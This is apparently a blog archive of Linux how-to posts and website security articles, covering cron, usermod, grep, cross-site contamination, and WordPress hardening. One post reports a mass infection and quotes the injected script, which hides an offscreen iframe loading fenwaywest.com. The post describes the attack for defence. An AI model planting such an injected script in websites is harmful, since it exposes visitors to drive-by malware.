Author: Tony

bookmark_borderHow to set recurring job in Linux using Cron jobs?

Posted on by Tony

Whenever you’re working with linux you’ll find yourself in need of running tasks repeatedly. The easiest way to do this is to set up a recurring job using Cron.

A crontab file contains instructions for the cron(8) daemon in the following simplified manner: “run this command at this time on this
date”. – Cron Man Page

You can edit your cron jobs using crontab, specifically:

# crontab -e

If you have any other cron jobs you’ll see other entries. If not, you’ll be able to create your own entries using your favorite editor (e.g., VIM, Nano, VI, etc…).

The format for a cron entry is as follows:

minute hour day-of-month month day-of-week command

There is a great tutorial available here: https://crontab.guru/every-1-hour

If I want to run a job every hour, this is the entry I’d add to Cron:

0 * * * * cd /root/scripts && ./checkrunningprocess.sh

If you ever want to see what jobs you have running you can run:

crontab -l

and you’d see something like this:

# crontab -l
0 * * * * cd /root/scripts && ./checkrunningprocess.sh

Happy automating!

Sharing is caring!

bookmark_borderHow do you add a user to a new group in linux? Something like Sudoers, Apache, or something else…

Posted on by Tony

When you’re working with linux you might have to add a user to different group.

Let’s say that you want to create user John, and you want John to have root abilities. To do this you’re going to want to add the user, John, to the sudoers group.

The sudoers group controls who has Sudo privileges on a machine. Sudo is a command that allows a user to run commands based on another users privileges, in most instances it is configured to run as root. Fun fact, SUDO was established from “superuser do.”

To add user John to the sudoers group you would do something like this:

# usermod -aG sudoers John

The two options used include:

  • a – Add the user to the supplementary group(s). Use only with the -G option.
  • G – A list of supplementary groups which the user is also a member of. Each group is separated from the next by a comma, with no intervening whitespace.

You have to use both options in conjunction with each other. You can find a more detailed list of options here: https://linux.die.net/man/8/usermod

This same model applies to any group and can be used for any user. A great example is Apache on a web server. 🙂

Sharing is caring!

bookmark_borderHow do I find all files containing specific text on Linux?

Posted on by Tony

If you are looking for specific content but can’t remember where it’s located on the server, this post is for you. It will show you how to find specific text anywhere in a folder, or server.

We are going to use the GREP command when doing searches in linux.

grep searches input files for lines containing a match to a given pattern list. When it finds a match in a line, it copies the line to standard output (by default), or produces whatever other sort of output you have requested with options.

Continue reading “How do I find all files containing specific text on Linux?”

bookmark_borderHow do you use AWK to perform advanced searches in Linux?

Posted on by Tony

Do you ever find yourself wanting to do advanced searches in Linux? In the last article we shared how to use grep to find specific text. In this article we’ll introduce AWK.

The awk command is a powerful method for processing or analyzing text files—in particular, data files that are organized by lines (rows) and columns. Simple awk commands can be run from the command line. More complex tasks should be written as awk programs (so-called awk scripts) to a file.

Continue reading “How do you use AWK to perform advanced searches in Linux?”

bookmark_borderWhy doesn’t CD work in a Shell Script? How can I make CD work in a Shell Script?

Posted on by Tony

If you have ever tried to run the current directory (CD) command inside your shell script you’ll notice it doesn’t work.

Example

#!/bin/bash
cd /home/$user/Documents/test-directory

This is because shell scripts run inside a subshell, and each subshell has its own concept of what the “current directory” is. In fact, it’s not that the cd doesn’t execute, it actually does but the minute it exits the subshell you’re back in the original shell and nothing changed.

Continue reading “Why doesn’t CD work in a Shell Script? How can I make CD work in a Shell Script?”

bookmark_borderWhat is Cross-Site Contamination and How to Prevent it

Posted on by Tony

If you suffer multiple reinfections and your site is one of many in an account, the odds are high that you’re suffering from cross-site contamination.

Cross-site contamination is when a site is negatively affected by neighboring sites within the same server due to poor isolation on the server or account configuration. This phenomenon is one of the greatest contributors to the VPS/Dedicated/Shared hosting secure or insecure debate.

The greatest contributor to cross-site contamination is what I call soup-kitchen servers. Soup-kitchen servers are those environments riddled with every installation and configuration known to man. It might include 10’s or 100’s of different sites or different platforms (i.e., Drupal, Joomla, WordPress, etc.). The problem isn’t the quantity. They might also include sites in different phases of their lives – development, staging, production.

The biggest culprits of these configurations are agencies, freelance developers, and aspiring hosts.

A Primer in Functional Isolation

The concept of functional isolation is not new but can be difficult to employ. It’s the idea that an environment should be used for only one purpose. A classic example might be using a web server as an email server or vice versa. The general rule of thumb is that using an environment for more than one purpose is bad practice. Theoretical and practical application, however, are always two different things.

Most organizations (individuals) wouldn’t dream of having a server per site, and in many ways it’s impractical. So my recommendation is to break it out by three things: technology, function, and stage.

  • Technology: Don’t mix technologies if you can help it. For instance, don’t deploy Drupal sites with WordPress sites, etc… Each platform is fundamentally different, and it’s easier to harden an environment that is similar than trying to remember what exists in the environment.
  • Function: Don’t mix server functions. If you have an email server, don’t use it as a file server or web server, etc… Use the environment for what it is intended for.
  • Stage: Don’t mix different stages of life for each site. Stages refer to whether it’s in development, testing or production stage. At a minimum, you should have at least two environments – development and production. Three would be ideal (including testing) but for many not as practical (or cost-prohibitive).

The next thing you want to think about – accounts.

Shared hosts have a bad reputation for poor security, but it’s not entirely accurate. While it’s true there have been challenges in the past, we’re talking circa 2010/2011. These days, the problems with shared hosts, are not the shared host themselves, but the one-to-many relationship website owners have with their accounts and sites.

Example: One account has 100 sites under it.

In these configurations, the attacks we’re seeing are not those that are moving laterally between accounts on the shared host, but rather those that are moving laterally within the same account.

It’s important that when you’re configuring your account to create unique users for each site and ensure that the permissions are such that a user can’t move between users on the same account.

Website Firewalls and Cross-Site Contamination

The most frustrating thing for a website owner is when they deploy all the recommended security controls and they continue to get infected. We experience it all the time with customers that have deployed our controls, including our Firewall, and a reinfection happens.

In 9 out of 10 instances, reinfections are occurring because of internal attacks (not external). The challenge with this, however, is that it requires investigation and education.

  • Internal Attacks: Attacks where the bad actor is able to exploit internal weaknesses in the environment to perform nefarious acts (example: cross-site contamination) by moving laterally throughout the environment.
  • External Attacks: Attacks where the bad actor is able to exploit weaknesses remotely to gain access and proceed to perform a nefarious act (example: exploiting a software vulnerability remotely – think SQLi).

Seeing the infection on your site doesn’t mean that it’s the site itself being exploited. If you continue to experience multiple reinfections it’s good to look at your entire environment and see if any of the conditions described above might be contributing to the issues.

The biggest contributors we find when running our reinfection investigations include:

  • Forgotten websites on the same account
  • Misconfigured websites on the same account
  • Websites that have not been secured on the same account

If you’re a website owner and wondering if this affects you, open a dialog with your developer or host and ask them what their approach is to handling multiple websites on the same server and account. Ask them if they are managing other sites on your account and how they can provide you assurances that your site is properly isolated from other neighboring sites. If you continue to experience issues the odds are there is a misconfiguration.

Preventing Cross-Site Contamination

The approach I propose here is simple, cost-effective, and the first step into improving your overall security posture. It will pay dividends in helping reduce the risks associated with cross-site contamination, while also helping streamline your maintenance activities.

Functional isolation is as old a concept as Least Privileged or Defense in Depth, but perhaps the least discussed. I would extend that to encourage you to consider not just Functional Isolation, but Account Isolation as well. Combined, both these will dramatically reduce the threat that is cross-site contamination.

A few last thoughts:

  • If you decide to deploy something like the Sucuri Firewall, make sure that it’s deployed on all sites on the same account, and you’ve followed all the steps to ensure direct access to the server is restricted.
  • If you only care about one site, and not the other 99, then move that one site into its own environment.
  • If you have one server doing all things, stop! Leverage your servers and accounts based on the recommendations I provided above.
  • If you’re a website owner ask questions, become an involved member in the process. Security is your responsibility as much as it is your designers or hosts.

 If you need help with a hacked site or are struggling with cross-site contamination, we offer professional website malware removal services and will protect and monitor your website.

bookmark_borderMass infections from fenwaywest.com/media/index.php

Posted on by Tony

We are seeing a large number of sites compromised with an iframe pointing to http://fenwaywest.com/media/index.php .Just in the last 3 days, we identified almost 10,000 sites with it:

2012/Oct/11 - 4393 sites - http://fenwaywest.com/media/index.php
2012/Oct/10 - 3117 sites - http://fenwaywest.com/media/index.php
2012/Oct/09 -  865 sites - http://fenwaywest.com/media/index.php

On all the compromised sites have the iframes similar to this one:

<script> function frmAdd() { var ifrm = document.createElement("iframe"); ifrm. style.position="absolute'; ifrm.style.top='-999em'; ifrm.style.left='-999em';  ifrm.src = "http://fenwaywest.com/media/index.php";ifrm.id = 'frmId';document.body. appendChild (ifrm);};window.onload = frmAdd;..

The domain is hosted at 50.28.53.157, but currently offline (redirecting to Google), so we can\’t really tell what it is doing. But on previous requests, it was redirecting to a TDS (traffic distribution system) and from there, being sent to multiple spam or malicious domains.

bookmark_borderWordPress and Server Hardening – Taking Security to Another Level

Posted on by Tony

The biggest problem today with most content management systems (CMS) and web applications is the adoption of what we call the “Win95 security model”. Do you remember the Windows 95 security model? With everything running under the admin role? No separation of privileges? No separation of processes? One vulnerability and you take it all?

Confused as to how this relates to today’s CMS’s (including WordPress, Joomla, and others)? Let us explain using WordPress as an example (most popular CMS out there):

  1. The user that is running WordPress (including any plugin or theme) can modify any file on the site.
  2. Any URL can be accessed directly, even when they are not supposed to be used that way.
  3. The admin panel (wp-admin) runs in the same domain and within the same codebase/permissions as the rest of the application.
  4. Admin users can install any plugin/theme, which can then modify any file and change anything in the database
  5. Most users log in as admin, even though they don’t need “admin” access most of the time.
  6. Every plugin and theme has the same level of access (and permissions) as the core of the application (no separation of privileges).

Yes, this is the default and most common way to install WordPress, specifically on shared hosts. Why you ask? It is easy to install and configure, but definitely not to be confused with the correct or secure approach to installing any application.

Imagine, it’s like having one username and password for all your accounts… oh… wait…

Improving Your Security Posture

I should preface this by saying that this won’t apply to shared environments, sorry… 🙁

But if you’re on a dedicated (or VPS) environment you’re in luck so read on.

1- Correcting Server Access Control

The user running WordPress (generally www-data or apache) should not have permissions to modify any file.

That protects you in case there is a vulnerability in any plugin, theme (or even in WordPress itself), since they won’t be able to modify anything.

Fortunately, there is an easy fix but one that many won’t use. In most instances WordPress is running as apache/apache, default webserver roles, and what you want to do is create a new user that will assume that role, disallowing the webserver user from having those rights.

To do this, this is what you have to do:

# adduser wordpressuser
# cd /var/www/pathtoyoursite
# chown -R wordpressuser .
# chmod -R 750 .
# chgrp -R apache .

This makes it so that only the wordpressuser user is the only one with with write permissions to your site directory.

Now, we all know that the only directory that needs to be writeable is the uploads directory in WordPress. So, to accomodate this we make some slight modifications that adds a rule allowing our beloved Apache user to write to that directory:

# chmod -R 770 ./wp-content/uploads/

Now, to ensure that we’re taking every precaution possible we turn to our .htaccess file to protect us from the injection of backdoors. You’ll want to create the .htaccess file inside the /wp-content/uploads directory:

php_flag engine off

and

<Files *.php>
deny from all
</Files>

InfoSec is about risk reduction, by taking these additional steps you have now greatly reduced the inherent access control risk associated with default WordPress installations. Do note however that this is not isolated to WordPress, these can also be applied to Joomla, Drupal and other such CMS applications.

Disclaimer for my colleagues: Doing this change will require you to take a more proactive approach to the administration of your site. You won’t be able to use the pretty GUI’s WordPress offers you, you’ll have to manually update your core, themes, and plugins. But trust me, it’s ok, it’s only slightly inconvenient.

2- The Accessibility Challenge

WordPress has many files, but very few of them need to be accessed directly by the users. To prevent files being accessed directly, we recommend blocking direct PHP access to /wp-content with the following additions to your .htaccess file:

<Files *.php>
deny from all
</Files>

An example of how this would have been useful, let’s think back to the TimThumb outbreak last year or even this year’s Uploadify discussions. Killing the execution of PHP in /wp-content would have and will protect you from both these known vulnerabilities.

3- Correcting Application Access Control

The admin panel (wp-admin) runs on the same domain and same privileges as the rest of the application. In a perfect world, it would be isolated, but to minimize issues, we recommend adding two restrictions to wp-admin access (via .htaccess):

3.1- Only allowing certain IP addresses:

order allow, deny
allow from IP1
allow from IP2
deny from all

3.2- Adding an additional user/pass (pre-authentication):

AuthUserFile /var/www/mysite/.htpasswd
AuthName “Site private access”
AuthType Basic
require user myuser2

By adding those two restrictions, you isolate wp-admin, requiring additional permissions and again, improve the security model. Hope you’re starting to get the trend of the post.

4- Restrict admin access to only required users

On the old days of Windows, everyone was admin. Don’t do the same on WordPress. If someone needs to write posts, they only need author permission. If someone needs to edit/post articles, he only needs editor permission.

There is a reason that out of the box WordPress provides varying degrees of roles and associated permissions, use them. We realize they may be a bit complex and difficult to understand, hopefully this helps:

  • Administrator – can do everything
  • Editor – They write stuff, more importantly they can publish
  • Contributor – The Author’s cousin, but they can’t publish
  • Subscriber – They follow your rants about your favorite past times but can’t do anything else

Logging in as Admin for every task is foolish, don’t be that person.

Summarizing the journey

Above we addressed 4 steps, that if employed, covers 5 distinct sections in the security model I prefaced the post with:

  1. The user that is running WordPress (including any plugin or theme) can modify any file on the site
  2. Any URL can be accessed directly, even when they are not supposed to be used that way
  3. The admin panel (wp-admin) runs in the same domain and within the same codebase/permission as the rest of the application.
  4. Admin users can install any plugin/theme, which can then modify any file or change anything in the database
  5. Most users log in as admin, even though they don’t need “admin” access most of the time

By employing some, ok all of the recommendations above you have effectively disabled WordPress from modifying its own files, admin users no longer have write permission to all files, and the themes / plugins can’t modify everything. Why are these three areas important? Well, because they are the most exploited vectors to date.

If you think this is all, you’re wrong, I would prefer to see updates where the plugins / themes no longer have the same level of permissions as the core of the application and their ability to have full database access (read/write) are dismissed, but, I don’t want to give the appearance that I’m paranoid.

But seriously, in a perfect set up, you would have at least 2 database users, one configured on wp-admin with write access, and one for the rest of the site with only read access. I’m just saying..